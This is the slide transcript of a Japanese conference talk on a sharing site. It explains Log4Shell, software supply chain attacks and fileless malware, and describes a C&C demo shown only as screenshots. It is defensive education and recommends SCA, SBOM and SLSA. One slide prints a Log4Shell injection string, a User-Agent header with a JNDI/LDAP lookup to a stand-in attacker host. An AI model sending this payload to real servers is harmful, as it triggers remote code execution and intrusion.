Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
端末が簡単にリモートから操作されるデモを通じて ソフトウェアサプライチェーン攻撃対策の重要性を...
Search
kitaji0306
October 27, 2024
Technology
0
370
端末が簡単にリモートから操作されるデモを通じて ソフトウェアサプライチェーン攻撃対策の重要性を理解しよう
2024-10-27 に開催された JJUG CCC 2024 Fall の登壇資料です。
(デモ部分はスクショに差し替えてます)
kitaji0306
October 27, 2024
Tweet
Share
More Decks by kitaji0306
See All by kitaji0306
セキュリティにおける暗号の基礎とこれからの話
kitaji0306
0
370
Other Decks in Technology
See All in Technology
Cursorをチョッパヤインタビューライターにチューニングする方法 / how to tuning cursor for interview write
shuzon
2
250
技術選定の審美眼(2025年版) / Understanding the Spiral of Technologies 2025 edition
twada
PRO
15
4.8k
VitePress & MCPでアプリ仕様のオープン化に挑戦する
hal_spidernight
0
120
クラウドネイティブ環境の脅威モデリング
kyohmizu
2
430
LLMの開発と社会実装の今と未来 / AI Builders' Community (ABC) vol.2
pfn
PRO
2
170
Part2 GitHub Copilotってなんだろう
tomokusaba
2
850
Docker Compose で手軽に手元環境を実現する / Simplifying Local Environments with Docker Compose #CinemaDeLT
nabeo
0
230
CARTA HOLDINGS エンジニア向け 採用ピッチ資料 / CARTA-GUIDE-for-Engineers
carta_engineering
0
27k
既存の開発資産を活かしながら、 《新規開発コスト抑制》と《開発体験向上》 を両立する拡張アーキテクチャ事例
kubell_hr
0
250
newmo の創業を支える Software Architecture と Platform Engineering
110y
5
560
時間がないなら、つくればいい 〜数十人規模のチームが自律性を発揮するために試しているいくつかのこと〜
kakehashi
PRO
24
5.8k
MCP でモノが動くとおもしろい/It is interesting when things move with MCP
bitkey
3
590
Featured
See All Featured
Facilitating Awesome Meetings
lara
54
6.4k
A better future with KSS
kneath
239
17k
Building Better People: How to give real-time feedback that sticks.
wjessup
368
19k
Building a Scalable Design System with Sketch
lauravandoore
462
33k
The Myth of the Modular Monolith - Day 2 Keynote - Rails World 2024
eileencodes
24
2.7k
What's in a price? How to price your products and services
michaelherold
245
12k
BBQ
matthewcrist
88
9.6k
[RailsConf 2023 Opening Keynote] The Magic of Rails
eileencodes
29
9.5k
Agile that works and the tools we love
rasmusluckow
329
21k
Designing for humans not robots
tammielis
253
25k
Why You Should Never Use an ORM
jnunemaker
PRO
56
9.4k
Sharpening the Axe: The Primacy of Toolmaking
bcantrill
41
2.3k
Transcript
端末が簡単にリモートから操作されるデモを通じて ソフトウェアサプライチェーン攻撃対策の重要性を理解しよう JJUG CCC 2024 Fall 北島 悠 #jjug_ccc #jjug_ccc_i
アジェンダ • 自己紹介 • Log4Shellから約3年どんな脆弱性だったか • ソフトウェアサプライチェーン攻撃 • リモートから操作されるイメージ •
デモ • まとめ • 最後に
自己紹介 セキュリティアーキテクト(名乗ってます) • セキュリティしか勝たん • プリセールス、人材育成、啓蒙活動などなど • @kitaji0306 北島 悠(キタジー)
Log4Shellから約3年どんな脆弱性だったか
どんな脆弱性だったか • 2021年12月10日 くらいから話題となった • Javaの有名ログライブラリApache Log4j2 起因 •
サーバ内部でコード(コマンド)実行可能 リモートコード実行 (RCE:Remote Code Execution)
当時の全社メール 2021年12月10日(金) SNSで情報拡散 画像引用元: JPCERT/CC:Apache Log4j2のRCE脆 弱性(CVE-2021-44228)を狙う攻撃観測 2021年12月13日(月)15:57
攻撃の一連の流れ LDAPを用いた攻撃の流れと各ポイントでの対策( GovCERT.chの記事より 概要図を引用) 外部から指定 可能なパラメー タやヘッダを利 用 User-Agent:
${jndi:ldap://evil.xa/x} 攻撃者が準備した LDAPサーバ Base64エンコード済 みのSerializeされた Javaオブジェクト Deserializeされた Javaオブジェクト の実行 JNDI Lookupという仕 様で解析されLDAP サーバへ通信
技術要素確認 • JNDI(Java Naming and Directory Interface) ◦ 外部リソース(LDAP等)
に接続する仕組を提供 • LDAP(Lightweight Directory Access Protocol) ◦ ディレクトリ(テキスト)情報 と通信するプロトコル • Serialize(シリアライズ) ◦ オブジェクト をbyte形式(テキストも可)に可逆変換
攻撃された具体例 画像引用:マインクラフト公式サイト (https://www.minecraft.net/ja-jp)
Log4shellという脆弱性の恐ろしいところ • 高リスクの脆弱性(CVSSスコア:10.0も有り) ◦ リモートコード実行 はシステム侵入の起点にもなる • パッチより先に攻撃方法のPoCが公開された ◦
アプリケーションで即時防御不可能なゼロデイ攻撃 • 多数のライブラリに暗黙的に内包されていた ◦ アプリの影響範囲特定が難しい ソフトウェアサプライチェーンの課題
ソフトウェアサプライチェーン攻撃
主にサプライヤーを経由する攻撃のこと サプライチェーン攻撃とは 大企業 取引先 海外子会社 強固なセキュリティで直 接攻撃は困難 セキュリティ対策の甘
い関連企業を攻撃 間接的に攻撃 攻撃者
ソフトウェアサプライチェーン攻撃とは 監 視 運 用 デプロイ コード ビルド テスト 計 画 リリース
Dev Ops 脆弱コードを仕込む ゼロデイ攻撃 API連携先から攻撃 依存パッケージから攻撃 脆弱なコンテナイメージ テスト支援ツールから攻撃 主に各工程で利用するOSSに依存した攻撃
どうしたらOSSを安全に利用出来る? 早い段階でのリスク発見と対策が必要 • SCA(ソフトウェア構成分析) ◦ 脆弱性スキャン による脆弱なライブラリの検知 • SBOM(ソフトウェア部品票)
◦ ソフトウェアサプライチェーンの可視化 • SLSA(Supply-chain Levels for Software Artifacts) ◦ 開発工程の成熟度 を測るセキュリティフレームワーク
リモートから操作されるイメージ
ファイル実行で動作 (従来のマルウェア) 仕様書.docx … 仕様書.docx .exe ファイル名を長くし て拡張子を隠す
(偽の拡張子は表 示される) 気づかないで実行
コマンドを受信して動作 (ファイルレスマルウェア) PC(Windows) PC内部のPowerShell C&C (コマンド&コントロール)サーバ
攻撃者 Officeファイルやブ ラウザの脆弱性を 利用してスクリプトを 埋め込む スクリプトから PowerShellを起動 C&Cサーバに接続 マルウェアをダウンロー ドして活動開始 ① ② ③ ④
デモ
正当な理由なく ウイルス作成、実行、不正アクセスは 犯罪です。 駄目絶対!! と、その前に
デモの登場人物及び環境 • Attacker(攻撃者) ◦ AWS EC2 ▪ ここからリモート操作する(C&Cサーバ)
• Victim(被害者) ◦ ウイルス対策ソフトの入ったWindows11(このPC) ▪ Java開発者がOSSのライブラリを利用したアプリを開発中
デモのシナリオ • 1:Attacker ◦ サーバで接続待ち受けコマンド実行 • 2:Victim
◦ ぬるぽライブラリを使った関数のテストを実行 ▪ マルウェアモドキをダウンロードしてC&Cサーバに接続 • 3:Attacker ◦ ぬるぽライブラリを実行したPCのコンソールを操作
デモ画面へGO
None
None
まとめ
まとめ • Log4Shellは非常に恐ろしい脆弱性だった ◦ 攻撃の仕組み を理解するだけでも有用 • ソフトウェアサプライチェーン攻撃対策 ◦ 開発工程早期のセキュリティ対策
が有用 • ツール(SSHやRDP)不要でリモート操作可能 ◦ 対策ソフト以外に各自のセキュリティ意識も重要 自分たちのソフトウェアを自分たちで守る
最後に
みんなの学びを少しでも公開すると 新たな気づきを得る人が増えます。 どこでも良いので アウトプット してみましょ!!